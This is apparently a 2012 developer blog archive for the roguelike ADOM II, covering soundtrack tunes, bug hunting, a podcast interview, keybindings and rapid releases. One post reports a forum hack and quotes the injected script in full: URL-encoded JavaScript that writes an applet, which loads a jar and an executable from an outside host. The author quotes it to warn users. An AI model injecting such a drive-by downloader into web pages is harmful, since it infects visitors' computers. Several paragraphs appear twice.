Lucas Dieguez has posted another batch of the scores he has created for ADOM II. As for the initial Battle March I'm totally in love with the stuff. Starting with ADOM II 0.3.0 I will start integrating the scores into the game - something I'm totally looking forward to.
Wednesday, May 16, 2012
More excerpts from the ADOM II soundtrack
Labels:
adom ii,
adom ii 0.3.0,
music,
oneiros dieguez
Request for music... kind of :-)
Hi everyone! The tireless master bard Lucas Dieguez has provided my with a couple of short tunes (in addition to his longer compositions) for special situations in ADOM II:
- when gaining a level
- when gaining something special (like a new class power)
- when entering a haunted level (let yourself be surprised ;-) )
Labels:
adom ii,
music,
oneiros dieguez
Monday, May 14, 2012
The most annoying bug so far...
Currently I am trying to locate a bug in ADOM II that I just can't seem to put my finger on. It's the annoying Failed to remove item from item list bug reported several dozen times. I also found a dozen places that causes this problem... and there still seem to be a few.
Labels:
adom ii,
adom ii 0.2.6,
adom ii 0.2.7
Wednesday, May 9, 2012
Roguelike Radio Episode 33: Interview with Thomas Biskup
Today I'd like to point you to episode 33 of Roguelike Radio, graciously hosted by Darren Grey. He asked me to do an interview and I happily obliged. As I won't have a chance to hear the episode before the weekend for myself due to lack of time I just hope for the best - my spoken English is a lot worse than my written English... which should be a warning.
In any case it was great fun to chat with Darren and Tapani - hope you enjoy it, too!
In any case it was great fun to chat with Darren and Tapani - hope you enjoy it, too!
Labels:
adom,
adom ii,
darren grey,
roguelike radio
Tuesday, May 8, 2012
ADOM II movement keys on notebooks
Finally I seem to have struck a balance in the ADOM II keybindings that I can live with (stress: "live with", not "enjoy from the depths of my heart" - but the latter problem seems to be impossible for me to solve while using a bare notebook).
Labels:
adom ii,
adom ii 0.2.4,
key bindings,
keyboard
What systems do you play ADOM II on?
As I am preparing to finally use the Bitrock Installbuilder for future versions of ADOM II I would like to get some quick feedback about what kinds of system you are using to play ADOM II on.
Labels:
adom ii,
bitrock,
bitrock installbuilder,
deployment,
operating systems
Monday, May 7, 2012
Hacker attack repulsed... hopefully
As reported this morning the ADOM forums once more fell victim to some hacker attack. For now it seems that all effects have been removed. If you want to be 100% sure that nothing bad can happen to your account, you might want to change your password. No signs of database manipulation could be found but just to be on the safe side this might be a good idea.
The forum software has been updated and luckily this time the issue tracker did no break, so everything should be find. If you notice anything unusual please let me know and I'll try to take care of it as soon as possible.
Now back to routine... I'm looking forward to the feedback and bug reports concerning the latest release!
The forum software has been updated and luckily this time the issue tracker did no break, so everything should be find. If you notice anything unusual please let me know and I'll try to take care of it as soon as possible.
Now back to routine... I'm looking forward to the feedback and bug reports concerning the latest release!
www.adom.de/forums hacked once more :-(
Very bad start for the new idea: It seems that www.adom.de/forums (at least) got hacked once more. When I entered the site this morning an applet asked for permission to do "something" on my local computer. There seems to have been code injected into the forum software (once again), here's the piece of code responsible for the problem on the page itself:
<script language=JavaScript>m='%3Cappl et%20name%3D%27Please%20Run% 20To%20Continue%20%271%27% 20height%3D%271%27%20code%3D% 27taipans.class%27%20archive% 3D%27http%3A//son1c.de/pferd/ news/fud.jar%27%3E%3Cparam% 20name%3D%22funtime%22%20%0A% 0Avalue%3D%22http%3A//son1c. de/pferd/news/p.exe%22%3E%3C/ applet%3E';d=unescape(m); document.write(d);</script>
Naturally you never should allow that access. Please be careful and refrain from using the forums for now until we know better what has happened. Needless to say that this once more is a major setback for me as it took days and days last time to sort that stuff out and I fear for the worst :-(
Needless to say that many thoughts of exterminating those f**** hackers currently are crossing my mind.
<script language=JavaScript>m='%3Cappl
Naturally you never should allow that access. Please be careful and refrain from using the forums for now until we know better what has happened. Needless to say that this once more is a major setback for me as it took days and days last time to sort that stuff out and I fear for the worst :-(
Needless to say that many thoughts of exterminating those f**** hackers currently are crossing my mind.
Sunday, May 6, 2012
ADOM II 0.2.6 released!
"Reease early, release often" now is fully underway. I hereby set a new world record by announcing the third release of ADOM II (0.2.6) in one weekend.
And before anyone complains about lack of quality control - the policy so far was to collect all the bugs for weeks and then release a new version. The new pace really to me feels like a great improvement as the number of critical bugs despite the huge load of changes is going back quickly and 0.2.6 now really should be immensely playable. At least I hope so. And if I still missed bugs we'll see 0.2.7 in a day or two... in any case that's how I envisioned the original roadmap before getting sidetracked with featuritis ;-)
And before anyone complains about lack of quality control - the policy so far was to collect all the bugs for weeks and then release a new version. The new pace really to me feels like a great improvement as the number of critical bugs despite the huge load of changes is going back quickly and 0.2.6 now really should be immensely playable. At least I hope so. And if I still missed bugs we'll see 0.2.7 in a day or two... in any case that's how I envisioned the original roadmap before getting sidetracked with featuritis ;-)
Labels:
adom ii 0.2.6,
release,
release early release often
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